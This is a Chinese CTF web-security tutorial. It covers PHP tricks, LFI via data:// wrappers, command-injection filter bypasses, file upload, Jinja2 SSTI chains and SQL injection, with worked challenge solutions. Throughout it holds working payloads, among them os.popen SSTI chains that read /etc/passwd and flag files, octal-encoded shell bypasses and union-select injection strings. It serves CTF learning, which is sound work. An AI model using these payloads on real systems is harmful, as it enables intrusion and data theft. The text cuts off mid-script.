Web基础(持续更新,暂定)

每个知识点后面都会附带若干例题进行讲解,覆盖基础到综合

刷题网站

https://www.polarctf.com/#/page/challenges POLAR靶场

题库 | NSSCTF NSS

BUUCTF在线评测 BUU

攻防世界 攻防世界

登录 春秋云镜(Web渗透)

CTFHub CTFhub

….

常用工具

maurosoria/dirsearch: Web path scanner Dirsearch目录扫描工具

[https://github.com/AntSwordProject/] 蚁剑

Marven11/Fenjing: 专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 | A Jinja2 SSTI cracker for bypassing WAF, designed for CTF Fenjing

Windows版phpstudy下载 - 小皮面板(phpstudy) Phpstudy (用来展示运行php代码的结果)

发布 ·记事本加加/记事本加加 NotePad++

….

源码查看

基本查看+各个浏览器的快捷键(视情况可略过)

控制台+游戏

前端JS改变量值和JS部分审计(主要是CTF前端游戏部分)(结合最近五一的mini-LCTF)

Mini L-CTF 2025 - 西电 CTF 终端 GuessOneGuess Miniup

HTTP

改浏览器信息+改本地地址+改地址+VPN+POST/GET…..(视情况可略过)

image-20250512100340274

image-20250512100414377

image-20250512100427182

[GDOUCTF 2023]EZ WEB | NSSCTF PUT

[MoeCTF 2021]Do you know HTTP | NSSCTF

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]Begin of HTTP)

正则

介绍常见的正则表达式与语法

EasyPHP

例题为主

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]Begin of PHP)

MD5比较:

1
2
3
4
5
s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

数组可以绕过正则匹配

extract覆盖漏洞

数组也可以绕过strcmp比较

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]R!C!E!)

主要是一个md5的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
import hashlib

prefix = "c4d038" # 目标MD5值的前六位
prefix_bytes = prefix.encode() # 将前缀转换为字节串

for i in range(100000000):
b = i.to_bytes(22, 'big')
m = hashlib.md5(str(i).encode()).hexdigest()

if m.startswith(prefix):
print(i)
print(m)
break

[ 绕过 _

PHP伪协议

img

data 伪协议 格式:
data://[<MIME-type>][;charset=][;base64],<data>

  • MIME-type:指定数据的类型,默认是 text/plain。
  • charset:指定数据的编码类型,如 utf-8。
  • base64:如果使用 Base64 编码,则加上该标识。
  • data:实际的数据内容。

text/plain 的具体含义

text/plain MIME 类型:

  1. 表示数据是普通文本文件,没有任何特定的格式或编码。
  2. 在 PHP 的文件包含漏洞中,当使用 data://text/plain 时,PHP 会将数据视为纯文本进行读取。
  3. 但是,如果该文本数据本身是 PHP 代码(如 <?php system('ls'); ?>),且它被 include()、require() 等函数加载,那么它会被当作 PHP 代码解析和执行。

data://text/plain 的实际作用

在 LFI 漏洞中使用 data://text/plain 可以让我们通过 URL 注入 PHP 代码,并且这些代码会在服务器端执行。

示例:执行系统命令

URL:

?file=data://text/plain,<?php system('ls'); ?>

解释:

  • data:// 告诉 PHP 加载内联数据。
  • text/plain 表示数据是纯文本类型,但在通过 include() 加载时,PHP 会解析文本中的代码片段(如 <?php system('ls'); ?>),并将其执行。

RCE

从简单到难(基础例题示例如下,还会增加难度的)

概念

RCE,即远程代码执行(Remote Code Execution),远程命令/代码执行漏洞,简称为RCE漏洞,可以直接向服务器后台远程注入操作系统的命令或者代码,从而拿到服务器后台的权限。RCE分为远程执行命令(执行ping命令)和远程代码执行eval

(这边插入一个各种绕过.md)

RCE命令注入分类
  • 无过滤
  • 过滤cat
  • 过滤空格
  • 过滤目录分隔符
  • 过滤运算符
  • 综合过滤练习

(1)无过滤简单命令拼接

CTFHUB

CTFHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
$cmd = "ping -c 4 {$_GET['ip']}";
exec($cmd, $res);
}

?>
<?php
if ($res) {
print_r($res);
}
?>
</pre>

<?php
show_source(__FILE__);
?>

</body>
</html>

就是个简单的命令拼接(127.0.0.1;ls)

Shell 提供了多种方式来分隔命令,分号就是其中一种。它的作用是告诉 Shell,将分号前后的命令依次执行,而不考虑前一条命令是否执行成功 。例如,在命令 “ping -c 4 127.0.0.1;ls /” 中,Shell 先执行 “ping -c 4 127.0.0.1” 命令,不管这个命令是成功(返回 0)还是失败(返回非 0 值),都会接着执行 “ls /” 命令

  • Enter(换行符)
  • && 前一条命令执行成功(返回值为 0)时,才会执行后一条命令
  • 双管道符(||)前一条命令执行失败(返回值非 0)时,才会执行后一条命令
  • 管道符(|) 将前一条命令的输出作为后一条命令的输入
1
ls / | grep "txt"  # 列出根目录下包含 "txt" 的文件
  • 尖括号( < 和 > )

    特点

  • >:将命令输出重定向到文件(覆盖)。

  • >>:将命令输出追加到文件。

  • <:将文件内容作为命令的输入。

  • E.G:

    1
    2
    ls / > output.txt  # 将 ls 的输出保存到 output.txt
    sort < input.txt # 将 input.txt 的内容作为 sort 的输入

NCTF2024

payload:

127.0.0.1 --eval eval("__import__('os').system('echo$IFS$FLAG>>demo')")

--eval 用于在命令行上直接执行一段脚本代码

…..

…..

(2)过滤命令

ezRCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
function waf($cmd){
$white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<'];
$cmd_char = str_split($cmd);
foreach($cmd_char as $char){
if (!in_array($char, $white_list)){
die("really ez?");
}
}
return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);

八进制绕过

知识点:linux中使用$’xxx’(xxx为字符的八进制)的形式可以执行任意代码

1
$'\154\163' //执行ls

发现可以成功执行

但是八进制的执行方法不能执行带有参数的linux命令,如cat /flag(/flag为参数)或ls -la(-la为参数)

重定向符号可以代替命令中的空格

最终payload

1
$'\143\141\164'<$'\57\146\154\141\147' // cat</flag

[BUUCTF在线评测](https://buuoj.cn/challenges#[红明谷CTF 2021]write_shell) Write_shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>

payload:

1
?action=upload&data=<?echo%09`ls%09/`?>

因为题目中过滤了php,所以用php短标签来绕过<?= ?>等效于<?echo ?>

1
$_SERVER['REMOTE_ADDR'];

输出访问者的IP地址

(3)回溯限制

[NISACTF 2022]middlerce | NSSCTF

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit : 1000000

当回溯次数超过100万次时,preg_match返回的就是false,表示此次实行失败(超出限制)

所以我们可以通过发送超长字符串来使正则执行失败,绕过对php的限制

1
2
3
4
5
import requests
url = 'http://node4.anna.nssctf.cn:28058/'
payload = '{"cmd":"?><?=`sort /f*`?>","+":"' + "-" * 1000000 + '"}'
res = requests.post(url=url, data={"letter": payload})
print(res.text)

(4)无回显RCE(利用http标头)

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]R!!C!!E!!) R!!C!!E!!

(5)无回显RCE(只允许用特殊字符)

[安洵杯 2020]BASH | NSSCTF

BashFuck Payload Generator

(6)无回显RCE(写文件到其他地方)

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]R!!!C!!!E!!!)

文件包含

include和file_get_content

文件上传

[CTF show 文件上传篇(web151-170,看这一篇就够啦)-CSDN博客](https://blog.csdn.net/qq_65165505/article/details/141370798#:~:text=在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。,将一个正常显示的图片,上传到服务器。 寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。)

(1)普通php/phtml文件上传

(2)通过burpsuite拦截抓包更改后缀

攻防世界

就是个简单的拦截改成后缀为php

(3)通过.htaccess或者user.ini进行文件上传

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]Upload again!) 运用.htaccess

(4)通过文件名传马

[BUUCTF在线评测](https://buuoj.cn/challenges#[CISCN2019 总决赛 Day2 Web1]Easyweb)

SSTI

1
因为hexo的关系,这里不在代码块外的{{}}统一换成{{...}}

(1)原理

CTF web漏洞合集 Python篇(1)python中的SSTI - LamentXU - 博客园

Python SSTI漏洞学习总结 - Tuzkizki - 博客园

SSTI模板注入 | Antel0p3’s blog

介于jinja2出现的非常多,就只看看jinja2

先看这个包浆的图片()

可以知道49如果回显是49(也就是执行了里面的命令)的话,就说明存在SSTI

然后可以再试NaN,如果还是49就可以下判断了,但是一般题目就是前一步可以直接下结论是jinja2内部存在的SSTI

那么什么是jinja2?

Jinja 模板只是一个文本文件,可以 基于模板生成任何基于文本的格式(HTML、XML、CSV、LaTeX 等),一般用在前端的项目中,渲染 HTML 文件

模板包含变量或表达式,这两者在模板求值的时候会被替换为值。模板中还有标签,控制模板的逻辑。模板语法的大量灵感来自于 Django 和 Python

基本语法:

1
2
3
语句 {% ... %}
变量 {{ ... }}
注释 {# ... #}

常用的语句包括:for、if、set、include、block、filter 等

变量通过传递字典来进行使用,当使用 for 语句的时候,变量可以是列表

创建和渲染模板的最基本方法是通过 Template,通过创建一个 Template 的实例,
会得到一个新的模板对象,模板对象有一个 render() 的方法,该方法在调用 dictkeywords 参数时填充模板

E.g

1
2
3
4
5
from jinja2 import Template

eg = Template('hello {{name}}')
result = eg.render(name = '111')
print(result)

结果就是

hello 111

成因:

欸但是一般代码中不带这个{{...}},就会出现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask, request, render_template_string
from jinja2 import Template
app = Flask(__name__)

@app.route('/')
def main():
name = request.args.get('name')
t = '''
<html>
<h1>Hello %s</h1>
</html>
''' % (name)
return render_template_string(t)

或者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask, request, render_template_string
from jinja2 import Template
app = Flask(__name__)

@app.route('/')
def main():
name = request.args.get('name')
t = Template'''
<html>
<h1>Hello %s</h1>
</html>
''' % (name)
return t.render()

再或者

1
2
3
4
5
6
7
8
9
from jinja2 import Template

name = input("please input name:") # 用于模拟获取 name 参数,你可以根据实际情况获取 name 的值
t = Template('''
<html>
<h1>Hello %s</h1>
</html>
''' % (name))
print(t.render())

这边你正常传入一个字符串,就是正常显示的,但是当你传入一个{{7*7}},结果就是会变成49,这是因为{{...}}被渲染到Template里了,这点在上面的jinja2语法中有所体现

然后传入49

那么我们知道了可以传入{{...}}进而被Template渲染后,我们就可以尝试干两件事:获取信息RCE

我们先看获取一些信息这边

比如查看一些什么config和env

1
2
{{config}}		# 获取config,包含flag
{{request.environ}} # 获取环境信息

给个源码方便你们也可以试试()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from jinja2 import Template
from flask import Flask,request,render_template_string
import os
app = Flask(__name__)

app.config['Flag'] = 'flag{You_Find_Me!!!}'

FLAG = os.getenv('FLAG', 'flag{here_is_a_flag!!!}')

@app.before_request
def add_flag_to_environ():
request.environ['FLAG'] = FLAG

@app.route('/')
def main():
name = request.args.get('name','ok')
t = '''
<html>
<h1>Hello %s</h1>
</html>
''' % (name)
return render_template_string(t)

if __name__ == '__main__':
app.run(host='0.0.0.0',port = 5000)

然后我们直接 ?name={{config}}

可以看到

再看看 {{request.environ}}

如果是想进行RCE的话,那就需要os库,但是肯定不会傻到内置os库给你用的,所以就需要你自己导入一个os库,使用system或者popen这种危险函数来读取

然后就有思路:

  • 使用万能的对象(比如字符串对象’’)-> 子类 -> 基类 -> 危险类的危险函数(大多数情况)
  • 直接使用代码中定义的对象(包括已经导入的库)所包含的危险子类中的危险函数(R3CTF 2024 web jinjaclub wp - LamentXU - 博客园

这里说是“万能的对象”,其实大多数情况下,最好用最经典的还是字符串对象’’,当然[]这些对象也是可以的

python中每个对象都有个属性__class__,用于返回该对象所属的类。而我们要做的,就是获取到object基类

使用''.__class__我们就完成了第一步,即,获取到一个字符串对象

[]{}也可以

还有:

__bases__:以元组的形式返回一个类所直接继承的类

__base__:以字符串形式返回一个类所直接继承的类

__mro__:返回解析方法调用的顺序

__subclasses__(): 是一个特殊方法,用于获取某个类的所有直接子类

__init__:所有自带带类都包含init方法,便于利用他当跳板来调用globals

function.__globals__:用于获取function所处空间下可使用的module、方法以及所有变量

['__builtins__']:从全局变量字典中获取内置模块的引用

  • 通过 __builtins__ 访问 eval()exec() 函数来执行恶意代码
  • 使用 __builtins__ 中的 open() 函数来读取或写入文件
  • 利用 __builtins__ 中的 __import__() 函数来动态导入其他模块,比如 ossys,然后执行系统命令

__import__:导入模块

__getitem__:提取元素

比如:

1
2
3
print("".__class__.__bases__)

#(<class 'object'>,)
  1. "":创建一个空字符串
  2. __class__:访问该空字符串的类。对于字符串对象,其类是 str
  3. __bases__:访问 str 类的基类。对于内置类型,str 类的基类是 object

这三个属于获取基类的办法。获取到object基类之后,因为这个基类的子类是这个python程序目前的所有类,所以可以直接找到我们要的os(是基类的一个子类)

使用"".__class__.__bases__"".__class__.__mro__[1]"".__class__.__base__我们就完成了第二步,即,获取到了object基类

我们看这个:

1
print("".__class__.__mro__[1].__subclasses__())
  1. 获取空字符串的类:"".__class__ 返回 str
  2. 获取 str 类的继承顺序:__mro__ 返回一个元组,列出 str 类及其基类的顺序
  3. 获取 str 类的直接基类:[1] 取出 __mro__ 元组中的第二个元素,即 object
  4. 获取 object 类的所有直接子类:调用 __subclasses__() 方法

这样打印出来的结果就是object下的所有子类

现在我们要进行RCE的话

我们要做的,是找到使用os的内置类。那这可多了,这里可以fuzz出(由python环境改变而改变,可以直接bp数字爆破一下)如果没有的话,也可以找一些可以读取文件的内置类,那么warnings.catch_warnings类 可就成重灾区了(有很多其他的)

我们发现object基类的__subclasses__()中 <type ‘warnings.catch_warnings’> 的索引值为138(随环境改变而改变),导入他后直接导入os并RCE即可,你去找os._wrap_close也可以

1
{{''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("tac flag").read()')}}

也可以稍微拼接绕过一下

1
{{[].__class__.__base__.__subclasses__()[138].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

当然,你也可以找到其他调用了os的内置类,利用__init__function.__globals__来调用内置类中os类的方法,如subprocess.popen:

1
{{"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}

有用的python内置类有很多,这里贴一个脚本,可以直接把subclass出来的东西放data里帮你检测有用的类的索引

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import re

# 将查找到的父类列表替换到data中 ''.__class__.__mro__[-1].__subclasses__()
data = r'''
[<class 'type'>, <class 'weakref'>, ......]
'''
# 在这里添加可以利用的类,下面会介绍这些类的利用方法
userful_class = ['linecache', 'os._wrap_close', 'subprocess.Popen', 'warnings.catch_warnings', '_frozen_importlib._ModuleLock', '_frozen_importlib._DummyModuleLock', '_frozen_importlib._ModuleLockManager', '_frozen_importlib.ModuleSpec']

pattern = re.compile(r"'(.*?)'")
class_list = re.findall(pattern, data)
for c in class_list:
for i in userful_class:
if i in c:
print(str(class_list.index(c)) + ": " + c)

做题流程也很明确了:确定好要用SSTI打RCE之后用burp(payload:"".__class__.__mro__[1].__subclasses__())fuzz服务器找os或者file,然后读取文件或RCE

总结一下就是:先找object基类,然后subclasses出所有的类(就应该是一大坨玩意)然后放上面那个脚本里跑索引。找到能用的类之后去网上找这个类对应的payload打就完了)

(2)Bypass

过滤了两个大括号

可以直接{%print()%}替代,上文有介绍,与{{...}}同等效果,想看回显可以

1
{%print(7*7)%}

也可以使用flask控制语句{%...%}{%end%}结尾(括号内可控制语句,定义变量,写循环判断)

于是使用

1
{%if().__class__%}123{%endif%}

如果__class__类下存在内容就输出123

你甚至可以用循环来查找可以用的类

1
2
3
4
5
6
7
8
9
10
{% for c in. class.base_subclasses () %}{% if c.__name__=='catch warnings'%}{{c.__init__.__globals__['__builtins__'] .eval('__import__("os").popen("<command>").read()')}}{% endif%}{% endfor %}

% 是模板引擎(如 Jinja2)中的一个特殊字符,用于标记模板代码的开始和结束
{% for c in class.base_subclasses() %}:这是一个循环语句,它遍历class的所有基类(父类)的子类
{% if c.__name__=='catch warnings'%}:这是一个条件判断语句,它检查当前遍历到的子类的名称是否是'catch warnings'
c.__init__.__globals__:获取当前类__init__方法的全局变量字典
['__builtins__']:从全局变量字典中获取内置模块的引用
eval('__import__("os").popen("<command>").read()'):使用eval函数执行一个字符串形式的Python表达式。这个表达式首先导入os模块,然后使用popen函数执行一个系统命令(<command>应被替换为实际的命令),并读取命令的输出结果
{% endif %}:结束条件判断语句
{% endfor %}:结束循环语句

字符串拼接

1
"__glo"+"bal__" == "__global__"

过滤了 .

[]替代

1
a.b == a['b']

request.args逃逸

如果题目中没有过滤request,则可以将一些含有敏感字符的位置用get传,再在SSTI中用request.args.arg1逃逸到get参数里去

1
2
3
4
5
request.args.name
request.cookies.name
request.headers.name
request.values.name
request.form.name

GET (用request.args)

1
{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd

POST (用request.values)

1
2
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
post:arg1=open&arg2=/etc/passwd

过滤了 []

.getitem

1
tuple[0] == tuple.getitem(0)

.pop

1
__subclasses__()[128] = __subclasses__().pop(128)

E.g

1
2
3
4
5
6
7
8
9
# 原payload,可以使用__base__绕过__bases__[0]
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()
# 通过__getitem__()绕过__bases__[0]、通过pop(128)绕过__subclasses__()[128]
"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen('whoami').read()

# 原payload
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")
# 绕过
[].__class__.__base__.__subclasses__().__getitem__(59).__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")

pop 是列表的一个方法,用于移除列表中的元素并返回该元素。这里 pop(128) 表示从列表中移除并返回索引为 128 的元素

过滤了 config

1
2
# 绕过,同样可以获取到config
{{self.dict._TemplateReference__context.config}}

用内置函数

1
{{url_for.__globals__['current_app'].config}}

过滤了__init__

__enter__或者__exit__替代

1
2
3
{{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

{{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

过滤了os

可以使用翻转字符的方法,比如

1
__import__('so'[::-1]).popen

这跟__import__('os').popen等效

编码过滤

1
2
3
4
5
6
7
# 以下皆为 ""["__class__"] 等效形式
# 八进制
""["\137\137\143\154\141\163\163\137\137"]
# 十六进制
""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]
# Unicode
""["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]

实战下就可以是:

1
2
3
4
{%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067")|attr("read")())%}

#{%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /flag")|attr("read")())%}

(∞)一些高端的

展示些高端玩法()

内置类 Undefined

在渲染().__class__.__base__.__subclasses__().c.__init__初始化一个类时,此处由于不存在c类理论上应该报错停止执行,但是实际上并不会停止执行,这是由于Jinja2内置了Undefined类型,渲染结果显示为<class 'jinja2.runtime.Undefined'>,所以看起来并不存在的c类实际上触发了内置的Undefined类型

可用payload:

1
2
3
4
5
a.__init__.__globals__.__builtins__.open("C:\Windows\win.ini").read()

a.__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")

{%print(g.pop.__globals__.__builtins__.__import__('so'[::-1]).popen('tac /*').read())%}

过滤器

Template Designer 文档 — Jinja 文档 (3.2.x)

在 Jinja2 中,过滤器(Filters)用于对变量进行转换或格式化。过滤器可以用来修改变量的值,使其符合特定的格式或需求。过滤器在模板中使用管道符号 | 进行应用,可以链式调用多个过滤器

假设我们有以下模板变量:

1
2
3
4
5
6
7
8
from datetime import datetime

context = {
'name': 'miHoYo',
'items': ['zzz', 'starrailway', 'genshin'],
'price': 42.5,
'now': datetime.now()
}

常用过滤器

  1. **default**:为变量提供默认值

    1
    {{ undefined_variable|default("No value") }}  {# 输出:No value #}
  2. **length**:获取列表或字符串的长度

    1
    {{ items|length }}  {# 输出:3 #}
  3. **loweruppertitle**:转换字符串的大小写

    1
    2
    3
    {{ name|lower }}  {# 输出:mihoyo #}
    {{ name|upper }} {# 输出:MIHOYO #}
    {{ name|title }} {# 输出:miHoYo #}
  4. **join**:将列表元素连接成字符串

    1
    {{ items|join(", ") }}  {# 输出:zzz, starrailway, genshin #}
  5. **replace**:替换字符串中的子串

    1
    {{ "Hello World"|replace("World", "Jinja2") }}  {# 输出:Hello Jinja2 #}
  6. **format**:格式化字符串

    1
    {{ "Price: %.2f"|format(price) }}  {# 输出:Price: 42.50 #}
  7. **selectreject**:选择或排除列表中的元素

    1
    2
    {{ items|select("startswith", "z")|list }}  {# 输出:['zzz'] #}
    {{ items|reject("endswith", "z")|list }} {# 输出:['starrailway', 'genshin'] #}
  8. **date**:格式化日期

    1
    {{ now|date("%Y-%m-%d %H:%M:%S") }}  {# 输出:当前日期和时间 #}

多个过滤器链式调用

1
{{ items|length|default(0) }}  {# 如果 items 是 None 或空的,输出 0 #}

这里我们着重看看 setattr()


set

set 过滤器在 Jinja2 中用于定义和赋值变量

先来看

1
{% set one = dict(c=a) | join | count %}

dict(c=a)

  • 作用:创建一个字典,键是字符串 "c",值是变量 a
  • 示例:如果 a 的值是 "test",那么 dict(c=a) 的结果是 {"c": "test"}

那我们可以用这个构造:

1
2
{% set a = dict(po=a,p=a)|join %}  {# 构造 'pop' #}
{% set b = ( ()|select|string|list )|attr(a)(24) %} {# 构造 '_' #}

当然你要是构造不出 _ 可以直接入手找 _

1
2
3
4
5
6
7
8
9
10
11
{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xxx=(lipsum|string|list)%}{%print xxx%}

数数看看_在第几个,然后拼接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
拼接数字为24


{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xxx=(lipsum|string|list)|attr(pop)(three*eight)%}{%print xxx%}

其余情况可以构造一个链:

1
2
3
4
5
6
7
{% set a = dict(po=a,p=a)|join %}  {# 构造 'pop' #}
{% set b = dict(glo=a, bals=a)|join %} {# 构造 'globals' #}
{% set c = dict(geti=a, tem=a)|join %} {# 构造 'getitem' #}
{% set d = dict(po=a, pen=a)|join %} {# 构造 'popen' #}
{% set e = dict(rea=a, d=a)|join %} {# 构造 'read' #}

{{ lipsum|attr(b)|attr(c)(dict(o=a,s=a)|join)|attr(d)(dict(l=a,s=a)|join)|attr(e)() }}

lipsum.__globals__['os'].popen('ls').read()


attr()

当某些字符如点号 (.)、中括号 ([]) 或引号被过滤时

1
{{ ''|attr('__class__') }}  # 相当于 {{ ''.__class__ }}

链式调用

1
2
3
{{ ''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(77) }}

#{{''__class__.__base__.__subclasses__()[77]}}

lipsum

lipsum 是一个全局的函数或变量,它通常用于生成随机文本,但在 SSTI 攻击中,它也可以被用来获取内置模块或函数

ipsum.__globals__ 是一个字典,包含了在 lipsum 函数定义时的全局变量。在 Jinja2 模板中,如果 lipsum 存在,攻击者可以利用它来访问全局变量,如 __builtins__os 等模块

比如:

1
{{ lipsum.__globals__['os'].popen('ls').read() }}

使用 popen 方法执行命令 ls,并调用 read() 方法读取输出

1
{{ lipsum.__globals__.__builtins__.__import__('os').popen('ls').read() }}

通过 __import__ 函数导入 os 模块,进而执行命令

那么结合一下前面的内容可以字符串拼接绕过

1
{%print(lipsum['__glo'+'bals__']['__bui'+'ltins__']['__imp'+'ort__']('so[::-1]')['po'+'pen']('ls').read())%}

或者使用attr过滤器访问:

1
{{ lipsum|attr('__globals__')|attr('__builtins__')|attr('__import__')('os')|attr('popen')('ls')|attr('read')() }}

url_for、get_flashed_messages

这是flask内置的两个全局函数,两个都用__globals__

1
2
3
# flask
{{get_flashed_messages.__globals__['os'].popen('whoami').read()}}
{{url_for.__globals__['os'].popen('whoami').read()}}

bytes

python3新增了bytes类,用于代表字符串,其fromhex()方法可以将十六进制转换为字符串

payload

1
2
# ""[__class__]
""["".encode().fromhex("5f5f636c6173735f5f").decode()]

奇妙的思路

1
{%print(self.__dict__._TemplateReference__context.keys())%}

语句获取已经载入内存中的Flask内置函数

然后可以利用 lipsum

1
{%print(lipsum.__global__['os']['popen']('more /f*').read())%}

(∞)一些不用动脑的

Fenjing大法

(3)基础例题

RUST下的SSTI

1
{%set my_var = get_env(name="FLAG") %}{{my_var}}

[HNCTF 2022 WEEK2]ez_SSTI | NSSCTF

参数是name,测试得出模板是jinja2

{{''.__class__.__bases__[0].__subclasses__()}}

用这个找到os._wrap_close类。定位到了137

然后

1
{{''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__}}

查找用没有popen函数

发现有

则payload:

1
?name={{''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag").read()')}}

(4)综合绕过

攻防世界 Web_python_template_injection

{{[].__class__.__base__.__subclasses__()[138].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

{{[].__class__.__base__.__subclasses__()[138].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('tac f14g').read()")}}

LitCTF 2025]星愿信箱 | NSSCTF

SSTI

SQL

判断字段数:

  • order by

information_schema数据库

  • schemata: 保存当前整个服务器所有的数据库信息 库名
  • tables: 保存当前整个服务器所有的数据表的信息 表名 table_name
  • columns: 保存当前整个服务器所有的字段信息 字段名
  • group_concat: 去重

(1)联合查询

攻防世界 NewsCenter

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()#

//news secret_table

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'secret_table'#

//id f14g

1' union select 1,2,group_concat(fl4g) from secret_table#

// QCTF{sq1_inJec7ion_ezzz}

[BUUCTF在线评测](https://buuoj.cn/challenges#[极客大挑战 2019]BabySQL) Baby SQL(双写绕过)

试列数:/check.php?username=admin&password=1' ununionion seselectlect 1,2,3%23(这个URL编码是#)

爆数据库:/check.php?username=admin&password=1' ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23

爆表:/check.php?username=admin&password=1' ununionion seselectlect 1,2, group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schema="ctf" %23

查字段名:/check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name="Flag"%23

/check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(flag) frfromom(ctf.Flag)%23

PS: (双写绕过)

因为在过滤过程中只进行了一次替换。就是将关键字替换为对应的空。

比如 union在程序员处理时被替换为空,那需要我们可以尝试把union改写为 ununionion ,这样红色部分替换为空,则剩下的依然为union还可以结合大小写过滤一起使用

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]ez_sql) EZ_sql(大小写绕过)

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url = "http://fb159c83-e932-48ed-88af-dbe07ad17a5a.node5.buuoj.cn:81/?id="


#for i in range(1,100):
#payload = f"TMP0919' Order by {i}%23"
#res = requests.get(url=url + payload)
#print(res.text)
#if("id" not in res.text):
# print(f"i = {i}")
# break

#payload = "1' uNion Select ((sElect gRoUp_cOnCat(TaBle_nAme) From infOrmation_schema.tables WHeRe Table_schema=Database())),2,3,4,5%23"
